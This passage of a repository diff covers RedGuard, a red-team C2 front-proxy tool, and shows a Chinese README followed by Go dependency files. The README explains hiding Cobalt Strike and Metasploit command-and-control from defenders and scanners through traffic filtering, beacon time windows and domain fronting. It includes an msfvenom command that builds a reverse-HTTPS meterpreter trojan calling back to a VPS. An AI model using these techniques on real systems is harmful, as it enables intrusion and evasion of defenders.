这个功能就比较有意思了,在配置文件中设置以下参数值,代表了流量控制设施仅可以上午8点至晚上9点上线,这里具体的应用场景也就是在指定攻击时间内,我们允许与C2进行流量交互,其他时间保持静默状态。这也能让红队们睡一个好觉,不用担心一些夜班的蓝队无聊去分析你的木马,然后醒来发生不可描述的事情,哈哈哈。 这个功能就比较有意思了,在配置文件中设置以下参数值,代表了流量控制设施仅可以上午8点至晚上9点上线,这里具体的应用场景也就是在指定攻击时间内,我们允许与C2进行流量交互,其他时间保持静默状态。这也能让红队们睡一个好觉,不用担心一些夜班的蓝队无聊去分析你的木马,然后醒来发生不可描述的事情,哈哈哈。
```bash ```bash
# Limit the time of requests example: AllowTime = 8:00 - 16:00 # Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21:00 AllowTime = 8:00 - 21:00
``` ```
![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/1656311327769.png) ![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/1656311327769.png)
## Malleable Profile ## Malleable Profile
RedGuard采用 Malleable C2 配置文件。然后,它解析提供的可延展配置文件部分以了解合同并仅通过那些满足它的入站请求,同时误导其他请求。诸如`http-stager`,`http-get``http-post`它们对应的 uris, headers, User-Agent 等部分都用于区分合法信标的请求和不相关的 Internet 噪声或 IR/AV/EDR 越界数据包。 RedGuard采用 Malleable C2 配置文件。然后,它解析提供的可延展配置文件部分以了解合同并仅通过那些满足它的入站请求,同时误导其他请求。诸如`http-stager`,`http-get``http-post`它们对应的 uris, headers, User-Agent 等部分都用于区分合法信标的请求和不相关的 Internet 噪声或 IR/AV/EDR 越界数据包。
```bash ```bash
# C2 Malleable File Path # C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile MalleableFile = /root/cobaltstrike/Malleable.profile
``` ```
![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/1656311591693.png) ![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/1656311591693.png)
风起编写的profile,推荐使用: 风起编写的profile,推荐使用:
> https://github.com/wikiZ/CobaltStrike-Malleable-Profile > https://github.com/wikiZ/CobaltStrike-Malleable-Profile
# 0x04 案例分析 # 0x04 案例分析
## 空间测绘 ## 空间测绘
如下图所示,当我们的拦截规则设置为DROP的时候,空间测绘系统探针会对我们反向代理端口的/目录进行几次探测,理论上测绘发送的请求包就是伪造成正常的流量所示。但是当尝试几次因为请求包特征不符合RedGuard的放行要求,所以均被Close HTTP响应。最终展现在测绘平台上的效果也就是认为反向代理端口未开放。 如下图所示,当我们的拦截规则设置为DROP的时候,空间测绘系统探针会对我们反向代理端口的/目录进行几次探测,理论上测绘发送的请求包就是伪造成正常的流量所示。但是当尝试几次因为请求包特征不符合RedGuard的放行要求,所以均被Close HTTP响应。最终展现在测绘平台上的效果也就是认为反向代理端口未开放。
![image.png](https://raw.githubusercontent.com/wikiZ/RedGuardImage/main/1656312184116.png) ![image.png](https://raw.githubusercontent.com/wikiZ/RedGuardImage/main/1656312184116.png)
下图所示的流量也就是当拦截规则设置为Redirect时,我们会发现当测绘探针收到响应后会继续对我们进行目录扫描,UserAgent为随机,看起来符合正常流量的请求,但是也都成功被拦截了。 下图所示的流量也就是当拦截规则设置为Redirect时,我们会发现当测绘探针收到响应后会继续对我们进行目录扫描,UserAgent为随机,看起来符合正常流量的请求,但是也都成功被拦截了。
![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/1656312557035.png) ![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/1656312557035.png)
**测绘平台 - 劫持响应拦截方式效果:** **测绘平台 - 劫持响应拦截方式效果:**
![1653200439(1).jpg](https://github.com/wikiZ/RedGuardImage/raw/main/1656313188878.png) ![1653200439(1).jpg](https://github.com/wikiZ/RedGuardImage/raw/main/1656313188878.png)
**测绘平台 - 重定向拦截方式效果:** **测绘平台 - 重定向拦截方式效果:**
![1653200439(1).jpg](https://github.com/wikiZ/RedGuardImage/raw/main/1656406644535.jpg) ![1653200439(1).jpg](https://github.com/wikiZ/RedGuardImage/raw/main/1656406644535.jpg)
## 域前置 ## 域前置
RedGuard是支持域前置的,在我看来一共有两种展现形式,一种是利用传统的域前置方式,在全站加速回源地址中设置为我们反向代理的端口即可实现。在原有的基础上给域前置增加了流量控制的功能,并且可以根据我们设置的重定向到指定URL使其看起来更像是真的。需要注意HTTPS HOST头RedGuard设置的要与全站加速的域名一致才可以。 RedGuard是支持域前置的,在我看来一共有两种展现形式,一种是利用传统的域前置方式,在全站加速回源地址中设置为我们反向代理的端口即可实现。在原有的基础上给域前置增加了流量控制的功能,并且可以根据我们设置的重定向到指定URL使其看起来更像是真的。需要注意HTTPS HOST头RedGuard设置的要与全站加速的域名一致才可以。
![1653201007(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/20220522143012-a26ab442-d998-1.png) ![1653201007(1).png](https://github.com/wikiZ/RedGuardImage/raw/main/20220522143012-a26ab442-d998-1.png)
在单兵作战中,我建议可以使用上述方式,而在团队任务中,也可以通过自建“域前置”的方式来实现。 在单兵作战中,我建议可以使用上述方式,而在团队任务中,也可以通过自建“域前置”的方式来实现。
![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/20220522143837-cf77a944-d999-1.png) ![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/20220522143837-cf77a944-d999-1.png)
在自建域前置中,保持多个反向代理端口一致,HOST头一致指向后端真实的C2服务器监听端口。而这种方式,可以很好的隐藏我们的真实C2服务器,而反向代理的服务器可以通过配置防火墙仅开放代理端口即可。 在自建域前置中,保持多个反向代理端口一致,HOST头一致指向后端真实的C2服务器监听端口。而这种方式,可以很好的隐藏我们的真实C2服务器,而反向代理的服务器可以通过配置防火墙仅开放代理端口即可。
![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/1656313773114.jpg) ![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/1656313773114.jpg)
这里可以通过多个节点服务器实现,在CS监听器HTTPS上线IP配置多个我们的节点IP。 这里可以通过多个节点服务器实现,在CS监听器HTTPS上线IP配置多个我们的节点IP。
## CobaltStrike上线 ## CobaltStrike上线
如果说上面的这种方式有一个问题就是,实际上线的C2服务器是不能通过防火墙直接拦截掉的,因为在反向代理中实际进行负载均衡请求的是云服务器厂商IP进行的。 如果说上面的这种方式有一个问题就是,实际上线的C2服务器是不能通过防火墙直接拦截掉的,因为在反向代理中实际进行负载均衡请求的是云服务器厂商IP进行的。
如果是单兵作战的话,我们可以在云服务器防火墙设置拦截策略。 如果是单兵作战的话,我们可以在云服务器防火墙设置拦截策略。
![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/20220522150356-58b9586c-d99d-1.png) ![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/20220522150356-58b9586c-d99d-1.png)
然后把代理指向的地址设置为https://127.0.0.1:4433这种即可。 然后把代理指向的地址设置为https://127.0.0.1:4433这种即可。
```bash ```bash
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"} {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
``` ```
而且因为我们的基础验证就是基于HTTP HOST请求头来做的,所以在HTTP流量中看到的也是与域前置的方式一致,但是成本更低,只需要一台云服务器即可实现。 而且因为我们的基础验证就是基于HTTP HOST请求头来做的,所以在HTTP流量中看到的也是与域前置的方式一致,但是成本更低,只需要一台云服务器即可实现。
![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/20220522150942-26f6c264-d99e-1.png) ![image.png](https://github.com/wikiZ/RedGuardImage/raw/main/20220522150942-26f6c264-d99e-1.png)
对于监听器的设置上线端口设置为RedGuard反向代理端口,监听端口为本机实际上线端口。 对于监听器的设置上线端口设置为RedGuard反向代理端口,监听端口为本机实际上线端口。
## Metasploit上线 ## Metasploit上线
**生成木马** **生成木马**
```bash ```bash
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com $ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~/path/to/payload.exe -f exe -o ~/path/to/payload.exe
``` ```
当然作为域前置场景也可以把你的LHOST配置为任意使用该厂商CDN的域名,注意设置HttpHostHeader与RedGuard相符即可。 当然作为域前置场景也可以把你的LHOST配置为任意使用该厂商CDN的域名,注意设置HttpHostHeader与RedGuard相符即可。
```bash ```bash
setg OverrideLHOST 360.com setg OverrideLHOST 360.com
setg OverrideLPORT 443 setg OverrideLPORT 443
setg OverrideRequestHost true setg OverrideRequestHost true
``` ```
请务必注意,该`OverrideRequestHost`设置必须设置为`true`。这是由于 Metasploit 在为暂存有效负载生成配置时默认处理传入 HTTP/S 请求的方式的一个怪癖。默认情况下,Metasploit 将传入请求的`Host`标头值(如果存在)用于第二阶段配置,而不是`LHOST`参数。因此,将生成阶段配置,以便将请求直接发送到您的隐藏域名,因为 CloudFront 在转发请求的`Host`标头中传递您的内部域。这显然不是我们所要求的。使用`OverrideRequestHost`配置值,我们可以强制 Metasploit 忽略传入`Host`的标头,而是使用`LHOST`指向原始 CloudFront 域的配置值。 请务必注意,该`OverrideRequestHost`设置必须设置为`true`。这是由于 Metasploit 在为暂存有效负载生成配置时默认处理传入 HTTP/S 请求的方式的一个怪癖。默认情况下,Metasploit 将传入请求的`Host`标头值(如果存在)用于第二阶段配置,而不是`LHOST`参数。因此,将生成阶段配置,以便将请求直接发送到您的隐藏域名,因为 CloudFront 在转发请求的`Host`标头中传递您的内部域。这显然不是我们所要求的。使用`OverrideRequestHost`配置值,我们可以强制 Metasploit 忽略传入`Host`的标头,而是使用`LHOST`指向原始 CloudFront 域的配置值。
监听器设置为实际上线端口,与RedGuard实际转发到的地址相匹配。 监听器设置为实际上线端口,与RedGuard实际转发到的地址相匹配。
![867551fe860b10ca1396498a85422b4.jpg](https://github.com/wikiZ/RedGuardImage/raw/main/73315c83562826f16f64e2b277736c1.png) ![867551fe860b10ca1396498a85422b4.jpg](https://github.com/wikiZ/RedGuardImage/raw/main/73315c83562826f16f64e2b277736c1.png)
RedGuard接收到请求: RedGuard接收到请求:
![867551fe860b10ca1396498a85422b4.jpg](https://github.com/wikiZ/RedGuardImage/raw/main/159a00e6c5596bc3542701b4a8020b1.png) ![867551fe860b10ca1396498a85422b4.jpg](https://github.com/wikiZ/RedGuardImage/raw/main/159a00e6c5596bc3542701b4a8020b1.png)
# 0x05 Loading # 0x05 Loading
感谢各位用户的支持,RedGuard也会坚持进行完善更新的,希望 RedGuard 能够让更多安全从业者所知,工具参考了RedWarden的设计思想。 感谢各位用户的支持,RedGuard也会坚持进行完善更新的,希望 RedGuard 能够让更多安全从业者所知,工具参考了RedWarden的设计思想。
**欢迎大家多多提出需求,RedGuard也会在这些需求中不断地成长,完善!** **欢迎大家多多提出需求,RedGuard也会在这些需求中不断地成长,完善!**
**关于开发者 风起 相关文章:https://www.anquanke.com/member.html?memberId=148652** **关于开发者 风起 相关文章:https://www.anquanke.com/member.html?memberId=148652**
**Kunyu: https://github.com/knownsec/Kunyu** **Kunyu: https://github.com/knownsec/Kunyu**
> 风起于青萍之末,浪成于微澜之间。 > 风起于青萍之末,浪成于微澜之间。
# 0x06 Community # 0x06 Community
如果有问题或者需求可以在项目下提交issue,或通过添加WeCat联系工具作者。 如果有问题或者需求可以在项目下提交issue,或通过添加WeCat联系工具作者。
![867551fe860b10ca1396498a85422b4.jpg](https://github.com/wikiZ/RedGuardImage/raw/main/20220522141706-ce37e178-d996-1.png) ![867551fe860b10ca1396498a85422b4.jpg](https://github.com/wikiZ/RedGuardImage/raw/main/20220522141706-ce37e178-d996-1.png)
+17 -17
View File
@@ -1,17 +1,17 @@
module RedGuard module RedGuard
go 1.15 go 1.15
require ( require (
github.com/D00Movenok/goMalleable v0.0.0-20220314191301-14f91f43c3b0 github.com/D00Movenok/goMalleable v0.0.0-20220314191301-14f91f43c3b0
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394
github.com/go-ini/ini v1.66.4 github.com/go-ini/ini v1.66.4
github.com/go-resty/resty/v2 v2.7.0 github.com/go-resty/resty/v2 v2.7.0
github.com/phachon/go-logger v0.0.0-20191215032019-86e4227f71ea github.com/phachon/go-logger v0.0.0-20191215032019-86e4227f71ea
github.com/sleeyax/ja3rp v0.0.1 github.com/sleeyax/ja3rp v0.0.1
github.com/stretchr/testify v1.7.1 // indirect github.com/stretchr/testify v1.7.1 // indirect
github.com/tidwall/gjson v1.14.1 github.com/tidwall/gjson v1.14.1
github.com/wxnacy/wgo v1.0.4 github.com/wxnacy/wgo v1.0.4
) )
replace github.com/phachon/go-logger v0.0.0-20191215032019-86e4227f71ea => github.com/wikiZ/go-logger v0.0.0-20201128041628-4404a90d93ec replace github.com/phachon/go-logger v0.0.0-20191215032019-86e4227f71ea => github.com/wikiZ/go-logger v0.0.0-20201128041628-4404a90d93ec
+69 -69
View File
@@ -1,69 +1,69 @@
github.com/D00Movenok/goMalleable v0.0.0-20220314191301-14f91f43c3b0 h1:J2/ncp0Jfq6GAws9YNvL0DxG+DnmPxIJkZ0u01y14uY= github.com/D00Movenok/goMalleable v0.0.0-20220314191301-14f91f43c3b0 h1:J2/ncp0Jfq6GAws9YNvL0DxG+DnmPxIJkZ0u01y14uY=
github.com/D00Movenok/goMalleable v0.0.0-20220314191301-14f91f43c3b0/go.mod h1:FTxb8RmunucvVgT4QCa0SM1AKYkqIsVH+Z5+zkuHWU4= github.com/D00Movenok/goMalleable v0.0.0-20220314191301-14f91f43c3b0/go.mod h1:FTxb8RmunucvVgT4QCa0SM1AKYkqIsVH+Z5+zkuHWU4=
github.com/alecthomas/kong v0.3.0/go.mod h1:uzxf/HUh0tj43x1AyJROl3JT7SgsZ5m+icOv1csRhc0= github.com/alecthomas/kong v0.3.0/go.mod h1:uzxf/HUh0tj43x1AyJROl3JT7SgsZ5m+icOv1csRhc0=
github.com/alecthomas/participle/v2 v2.0.0-alpha7 h1:cK4vjj0VSgb3lN1nuKA5F7dw+1s1pWBe5bx7nNCnN+c= github.com/alecthomas/participle/v2 v2.0.0-alpha7 h1:cK4vjj0VSgb3lN1nuKA5F7dw+1s1pWBe5bx7nNCnN+c=
github.com/alecthomas/participle/v2 v2.0.0-alpha7/go.mod h1:NumScqsC42o9x+dGj8/YqsIfhrIQjFEOFovxotbBirA= github.com/alecthomas/participle/v2 v2.0.0-alpha7/go.mod h1:NumScqsC42o9x+dGj8/YqsIfhrIQjFEOFovxotbBirA=
github.com/alecthomas/repr v0.0.0-20181024024818-d37bc2a10ba1/go.mod h1:xTS7Pm1pD1mvyM075QCDSRqH6qRLXylzS24ZTpRiSzQ= github.com/alecthomas/repr v0.0.0-20181024024818-d37bc2a10ba1/go.mod h1:xTS7Pm1pD1mvyM075QCDSRqH6qRLXylzS24ZTpRiSzQ=
github.com/alecthomas/repr v0.0.0-20210801044451-80ca428c5142/go.mod h1:2kn6fqh/zIyPLmm3ugklbEi5hg5wS435eygvNfaDQL8= github.com/alecthomas/repr v0.0.0-20210801044451-80ca428c5142/go.mod h1:2kn6fqh/zIyPLmm3ugklbEi5hg5wS435eygvNfaDQL8=
github.com/alecthomas/repr v0.0.0-20220113201626-b1b626ac65ae h1:zzGwJfFlFGD94CyyYwCJeSuD32Gj9GTaSi5y9hoVzdY= github.com/alecthomas/repr v0.0.0-20220113201626-b1b626ac65ae h1:zzGwJfFlFGD94CyyYwCJeSuD32Gj9GTaSi5y9hoVzdY=
github.com/alecthomas/repr v0.0.0-20220113201626-b1b626ac65ae/go.mod h1:2kn6fqh/zIyPLmm3ugklbEi5hg5wS435eygvNfaDQL8= github.com/alecthomas/repr v0.0.0-20220113201626-b1b626ac65ae/go.mod h1:2kn6fqh/zIyPLmm3ugklbEi5hg5wS435eygvNfaDQL8=
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 h1:OYA+5W64v3OgClL+IrOD63t4i/RW7RqrAVl9LTZ9UqQ= github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 h1:OYA+5W64v3OgClL+IrOD63t4i/RW7RqrAVl9LTZ9UqQ=
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394/go.mod h1:Q8n74mJTIgjX4RBBcHnJ05h//6/k6foqmgE45jTQtxg= github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394/go.mod h1:Q8n74mJTIgjX4RBBcHnJ05h//6/k6foqmgE45jTQtxg=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/go-ini/ini v1.66.4 h1:dKjMqkcbkzfddhIhyglTPgMoJnkvmG+bSLrU9cTHc5M= github.com/go-ini/ini v1.66.4 h1:dKjMqkcbkzfddhIhyglTPgMoJnkvmG+bSLrU9cTHc5M=
github.com/go-ini/ini v1.66.4/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3Ies8= github.com/go-ini/ini v1.66.4/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3Ies8=
github.com/go-resty/resty/v2 v2.7.0 h1:me+K9p3uhSmXtrBZ4k9jcEAfJmuC8IivWHwaLZwPrFY= github.com/go-resty/resty/v2 v2.7.0 h1:me+K9p3uhSmXtrBZ4k9jcEAfJmuC8IivWHwaLZwPrFY=
github.com/go-resty/resty/v2 v2.7.0/go.mod h1:9PWDzw47qPphMRFfhsyk0NnSgvluHcljSMVIq3w7q0I= github.com/go-resty/resty/v2 v2.7.0/go.mod h1:9PWDzw47qPphMRFfhsyk0NnSgvluHcljSMVIq3w7q0I=
github.com/mailru/easyjson v0.7.0 h1:aizVhC/NAAcKWb+5QsU1iNOZb4Yws5UO2I+aIprQITM= github.com/mailru/easyjson v0.7.0 h1:aizVhC/NAAcKWb+5QsU1iNOZb4Yws5UO2I+aIprQITM=
github.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs= github.com/mailru/easyjson v0.7.0/go.mod h1:KAzv3t3aY1NaHWoQz1+4F1ccyAH66Jk7yos7ldAVICs=
github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA= github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA=
github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.11 h1:FxPOTFNqGkuDUGi3H/qkUbQO4ZiBa2brKq5r0l8TGeM= github.com/mattn/go-isatty v0.0.11 h1:FxPOTFNqGkuDUGi3H/qkUbQO4ZiBa2brKq5r0l8TGeM=
github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/sleeyax/ja3rp v0.0.1 h1:axAQaWfz+YWTrE0kGAHNJXj730cLFV6ZRASPkR//76U= github.com/sleeyax/ja3rp v0.0.1 h1:axAQaWfz+YWTrE0kGAHNJXj730cLFV6ZRASPkR//76U=
github.com/sleeyax/ja3rp v0.0.1/go.mod h1:LoKchsq6bTZIEeHoiSIARqr9TerxxOAM7OHk67Rz9oY= github.com/sleeyax/ja3rp v0.0.1/go.mod h1:LoKchsq6bTZIEeHoiSIARqr9TerxxOAM7OHk67Rz9oY=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY= github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/tidwall/gjson v1.14.1 h1:iymTbGkQBhveq21bEvAQ81I0LEBork8BFe1CUZXdyuo= github.com/tidwall/gjson v1.14.1 h1:iymTbGkQBhveq21bEvAQ81I0LEBork8BFe1CUZXdyuo=
github.com/tidwall/gjson v1.14.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk= github.com/tidwall/gjson v1.14.1/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA= github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM= github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs= github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU= github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/wikiZ/go-logger v0.0.0-20201128041628-4404a90d93ec h1:soPPf+s+iq4J5qFk0KziWKA6jO29bxonQe1yqNQkeic= github.com/wikiZ/go-logger v0.0.0-20201128041628-4404a90d93ec h1:soPPf+s+iq4J5qFk0KziWKA6jO29bxonQe1yqNQkeic=
github.com/wikiZ/go-logger v0.0.0-20201128041628-4404a90d93ec/go.mod h1:WBIWFH/iYYvuApCvPU+/R6hfX6v0Ogu4apwf0UgzVF0= github.com/wikiZ/go-logger v0.0.0-20201128041628-4404a90d93ec/go.mod h1:WBIWFH/iYYvuApCvPU+/R6hfX6v0Ogu4apwf0UgzVF0=
github.com/wxnacy/wgo v1.0.4 h1:UEkzjlW3pMAXcTUCgMekrCvFYLKKwc0p5GAQrMIphs8= github.com/wxnacy/wgo v1.0.4 h1:UEkzjlW3pMAXcTUCgMekrCvFYLKKwc0p5GAQrMIphs8=
github.com/wxnacy/wgo v1.0.4/go.mod h1:8hqUwCgvMGgAIr4MLIeFur2YXS/Ns3vbyx5abx0e8iM= github.com/wxnacy/wgo v1.0.4/go.mod h1:8hqUwCgvMGgAIr4MLIeFur2YXS/Ns3vbyx5abx0e8iM=
golang.org/x/crypto v0.0.0-20211117183948-ae814b36b871 h1:/pEO3GD/ABYAjuakUS6xSEmmlyVS4kxBNkeA9tLJiTI= golang.org/x/crypto v0.0.0-20211117183948-ae814b36b871 h1:/pEO3GD/ABYAjuakUS6xSEmmlyVS4kxBNkeA9tLJiTI=
golang.org/x/crypto v0.0.0-20211117183948-ae814b36b871/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4= golang.org/x/crypto v0.0.0-20211117183948-ae814b36b871/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/net v0.0.0-20211029224645-99673261e6eb/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211029224645-99673261e6eb/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211123203042-d83791d6bcd9 h1:0qxwC5n+ttVOINCBeRHO0nq9X7uy8SDsPoi5OaCdIEI= golang.org/x/net v0.0.0-20211123203042-d83791d6bcd9 h1:0qxwC5n+ttVOINCBeRHO0nq9X7uy8SDsPoi5OaCdIEI=
golang.org/x/net v0.0.0-20211123203042-d83791d6bcd9/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211123203042-d83791d6bcd9/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 h1:SrN+KX8Art/Sf4HNj6Zcz06G7VEz+7w9tdXTPOZ7+l4= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 h1:SrN+KX8Art/Sf4HNj6Zcz06G7VEz+7w9tdXTPOZ7+l4=
